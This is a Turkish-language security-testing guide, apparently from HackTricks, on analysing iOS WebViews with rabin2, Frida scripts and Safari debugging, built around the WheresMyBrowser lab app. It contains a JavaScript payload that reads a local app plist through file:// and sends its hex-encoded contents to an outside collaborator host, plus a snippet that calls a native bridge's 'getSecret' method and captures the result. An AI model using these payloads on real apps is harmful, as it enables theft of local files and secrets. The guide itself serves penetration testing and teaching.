iOS WebViews
Reading time: 10 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Bu sayfanın kodu buradan alınmıştır. Daha fazla detay için sayfayı kontrol edin.
WebView türleri
WebView'lar, uygulamalar içinde etkileşimli web içeriği görüntülemek için kullanılır. Farklı WebView türleri, iOS uygulamaları için farklı işlevsellikler ve güvenlik özellikleri sunar. İşte kısa bir genel bakış:
-
UIWebView, JavaScript'in devre dışı bırakılmasını desteklemediği için iOS 12'den itibaren artık önerilmemektedir; bu da onu script enjeksiyonu ve Cross-Site Scripting (XSS) saldırılarına karşı savunmasız hale getirir.
-
WKWebView, uygulamalara web içeriği eklemek için tercih edilen seçenektir ve içerik üzerinde geliştirilmiş kontrol ve güvenlik özellikleri sunar. JavaScript varsayılan olarak etkindir, ancak gerekirse devre dışı bırakılabilir. Ayrıca, JavaScript'in otomatik olarak pencereler açmasını önlemek için özellikler destekler ve tüm içeriğin güvenli bir şekilde yüklenmesini sağlar. Ayrıca, WKWebView'ın mimarisi, bellek bozulması riskini ana uygulama sürecini etkilemeyecek şekilde en aza indirir.
-
SFSafariViewController, uygulamalar içinde standart bir web tarayıcı deneyimi sunar; okunabilir bir adres alanı, paylaşım ve navigasyon düğmeleri ile Safari'de içerik açmak için doğrudan bir bağlantı içeren belirli bir düzeni ile tanınır. WKWebView'ın aksine, SFSafariViewController'da JavaScript devre dışı bırakılamaz; ayrıca Safari ile çerezleri ve verileri paylaşır, bu da kullanıcı gizliliğini uygulamadan korur. App Store yönergelerine göre belirgin bir şekilde görüntülenmelidir.
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
WebViews Konfigürasyon Keşfi Özeti
Statik Analiz Genel Görünümü
WebViews konfigürasyonlarını incelerken, iki ana tür üzerinde durulmaktadır: UIWebView ve WKWebView. Bu WebView'leri bir ikili dosya içinde tanımlamak için, belirli sınıf referansları ve başlatma yöntemlerini arayan komutlar kullanılmaktadır.
- UIWebView Tanımlaması
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
Bu komut, ikili dosyada UIWebView ile ilgili metin dizelerini arayarak örneklerini bulmaya yardımcı olur.
- WKWebView Tanımlama
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
Benzer şekilde, WKWebView için bu komut, kullanımını gösteren metin dizelerini ikili dosyada arar.
Ayrıca, bir WKWebView'in nasıl başlatıldığını bulmak için, başlatılmasıyla ilgili yöntem imzasını hedef alan aşağıdaki komut çalıştırılır:
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
JavaScript Yapılandırma Doğrulaması
WKWebView için, JavaScript'in devre dışı bırakılmasının gerekli olmadıkça en iyi uygulama olduğu vurgulanmaktadır. Derlenmiş ikili dosya, javaScriptEnabled
özelliğinin false
olarak ayarlandığını doğrulamak için aranır, böylece JavaScript'in devre dışı olduğu garanti edilir:
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
Sadece Güvenli İçerik Doğrulaması
WKWebView, UIWebView ile karşılaştırıldığında karışık içerik sorunlarını tanımlama yeteneği sunar. Bu, tüm sayfa kaynaklarının güvenli bağlantılar üzerinden yüklendiğinden emin olmak için hasOnlySecureContent
özelliği kullanılarak kontrol edilir. Derlenmiş ikili dosyada arama şu şekilde gerçekleştirilir:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
Dinamik Analiz İçgörüleri
Dinamik analiz, WebView örneklerini ve özelliklerini incelemeyi içerir. Bu amaçla webviews_inspector.js
adlı bir betik kullanılır ve UIWebView
, WKWebView
ve SFSafariViewController
örneklerine odaklanır. Bulunan örnekler hakkında, URL'ler ve JavaScript ile güvenli içerikle ilgili ayarlar da dahil olmak üzere bilgi kaydeder.
Yığın incelemesi, WebView örneklerini tanımlamak ve javaScriptEnabled
ve hasonlysecurecontent
özelliklerini kontrol etmek için ObjC.choose()
kullanılarak gerçekleştirilebilir.
ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})
ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})
Script şu şekilde çalıştırılır:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
Ana Sonuçlar:
- WebView örnekleri başarıyla bulunmuş ve incelenmiştir.
- JavaScript etkinleştirilmesi ve güvenli içerik ayarları doğrulanmıştır.
Bu özet, WebView yapılandırmalarını statik ve dinamik yaklaşımlar aracılığıyla analiz etme sürecinde yer alan kritik adımları ve komutları kapsar, JavaScript etkinleştirilmesi ve karışık içerik tespiti gibi güvenlik özelliklerine odaklanır.
WebView Protokol Yönetimi
WebView'lerde içerik yönetimi, özellikle http(s)://
, file://
ve tel://
gibi çeşitli protokollerle çalışırken kritik bir unsurdur. Bu protokoller, uygulamalar içinde hem uzaktan hem de yerel içeriğin yüklenmesini sağlar. Yerel içerik yüklenirken, kullanıcıların dosya adını veya yolunu etkilemesini ve içeriği düzenlemesini önlemek için önlemler alınması gerektiği vurgulanmaktadır.
WebView'ler, içerik yüklemek için farklı yöntemler sunar. Artık kullanılmayan UIWebView için loadHTMLString:baseURL:
ve loadData:MIMEType:textEncodingName:baseURL:
gibi yöntemler kullanılır. Diğer yandan, WKWebView, web içeriği için loadHTMLString:baseURL:
, loadData:MIMEType:textEncodingName:baseURL:
ve loadRequest:
yöntemlerini kullanır. Yerel dosyaları yüklemek için genellikle pathForResource:ofType:
, URLForResource:withExtension:
ve init(contentsOf:encoding:)
gibi yöntemler kullanılır. loadFileURL:allowingReadAccessToURL:
yöntemi, belirli bir URL veya dizini WebView'e yükleme yeteneği ile özellikle dikkat çekicidir; eğer bir dizin belirtilirse hassas verileri açığa çıkarabilir.
Bu yöntemleri kaynak kodunda veya derlenmiş ikili dosyada bulmak için aşağıdaki gibi komutlar kullanılabilir:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
Dosya erişimi ile ilgili olarak, UIWebView evrensel olarak buna izin verirken, WKWebView dosya URL'lerinden erişimi yönetmek için allowFileAccessFromFileURLs
ve allowUniversalAccessFromFileURLs
ayarlarını tanıtır; her ikisi de varsayılan olarak false'dur.
Güvenlik ayarlarını incelemek için bir Frida script örneği sağlanmıştır:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
Son olarak, yerel dosyaları dışa aktarmayı amaçlayan bir JavaScript yükü, yanlış yapılandırılmış WebView'larla ilişkili potansiyel güvenlik riskini göstermektedir. Bu yük, dosya içeriklerini sunucuya iletmeden önce hex formatına kodlar ve WebView uygulamalarında sıkı güvenlik önlemlerinin önemini vurgular.
String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)
WebView'ler Üzerinden Açığa Çıkan Yerel Yöntemler
iOS'ta WebView Yerel Arayüzlerini Anlamak
iOS 7'den itibaren, Apple WebView'deki JavaScript ile yerel Swift veya Objective-C nesneleri arasında iletişim için API'ler sağladı. Bu entegrasyon esasen iki yöntemle sağlanmaktadır:
- JSContext: Bir Swift veya Objective-C bloğu, bir
JSContext
içindeki bir tanımlayıcıya bağlandığında otomatik olarak bir JavaScript fonksiyonu oluşturulur. Bu, JavaScript ve yerel kod arasında sorunsuz bir entegrasyon ve iletişim sağlar. - JSExport Protokolü:
JSExport
protokolünü miras alarak, yerel özellikler, örnek yöntemler ve sınıf yöntemleri JavaScript'e açılabilir. Bu, JavaScript ortamında yapılan herhangi bir değişikliğin yerel ortamda yansıtıldığı ve tersinin de geçerli olduğu anlamına gelir. Ancak, bu yöntemle hassas verilerin istemeden açığa çıkmadığından emin olmak önemlidir.
Objective-C'de JSContext
'e Erişim
Objective-C'de, bir UIWebView
için JSContext
aşağıdaki kod satırıyla alınabilir:
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
WKWebView
ile İletişim
WKWebView
için, JSContext
'e doğrudan erişim mevcut değildir. Bunun yerine, JavaScript ile yerel iletişim sağlamak için postMessage
fonksiyonu aracılığıyla mesaj iletimi kullanılır. Bu mesajlar için işleyiciler aşağıdaki gibi ayarlanır, böylece JavaScript yerel uygulama ile güvenli bir şekilde etkileşimde bulunabilir:
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
Etkileşim ve Test
JavaScript, bir script mesaj işleyici tanımlayarak yerel katmanla etkileşimde bulunabilir. Bu, bir web sayfasından yerel işlevleri çağırmak gibi işlemlere olanak tanır:
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
Yerel bir işlev çağrısının sonucunu yakalamak ve manipüle etmek için, HTML içindeki geri çağırma işlevini geçersiz kılmak mümkündür:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>
Yerel taraf, JavaScriptBridgeMessageHandler
sınıfında gösterildiği gibi JavaScript çağrısını işler; burada sayıların çarpılması gibi işlemlerin sonuçları işlenir ve görüntüleme veya daha fazla manipülasyon için JavaScript'e geri gönderilir:
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
iOS WebView'ları Hata Ayıklama
(Tutorial based on the one from https://blog.vuplex.com/debugging-webviews)
iOS webview'ları içindeki web içeriğini etkili bir şekilde hata ayıklamak için, console.log()
'a gönderilen mesajların Xcode günlüklerinde görüntülenmemesi nedeniyle Safari'nin geliştirici araçlarını içeren özel bir kurulum gereklidir. İşte ana adımları ve gereksinimleri vurgulayan basitleştirilmiş bir rehber:
-
iOS Cihazında Hazırlık: Safari Web Inspector, iOS cihazınızda etkinleştirilmelidir. Bu, Ayarlar > Safari > Gelişmiş bölümüne giderek ve Web Inspector seçeneğini etkinleştirerek yapılır.
-
macOS Cihazında Hazırlık: macOS geliştirme makinenizde, Safari içinde geliştirici araçlarını etkinleştirmeniz gerekir. Safari'yi başlatın, Safari > Tercihler > Gelişmiş bölümüne erişin ve Geliştir menüsünü göster seçeneğini seçin.
-
Bağlantı ve Hata Ayıklama: iOS cihazınızı macOS bilgisayarınıza bağladıktan ve uygulamanızı başlattıktan sonra, macOS cihazınızdaki Safari'yi kullanarak hata ayıklamak istediğiniz webview'ı seçin. Safari'nin menü çubuğunda Geliştir bölümüne gidin, iOS cihazınızın adının üzerine gelerek webview örneklerinin bir listesini görün ve incelemek istediğiniz örneği seçin. Bu amaçla yeni bir Safari Web Inspector penceresi açılacaktır.
Ancak, sınırlamaların farkında olun:
- Bu yöntemle hata ayıklama, Safari'ye dayandığı için bir macOS cihazı gerektirir.
- Sadece Xcode aracılığıyla cihazınıza yüklenen uygulamalardaki webview'lar hata ayıklama için uygundur. App Store veya Apple Configurator aracılığıyla yüklenen uygulamalardaki webview'lar bu şekilde hata ayıklanamaz.
Referanslar
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.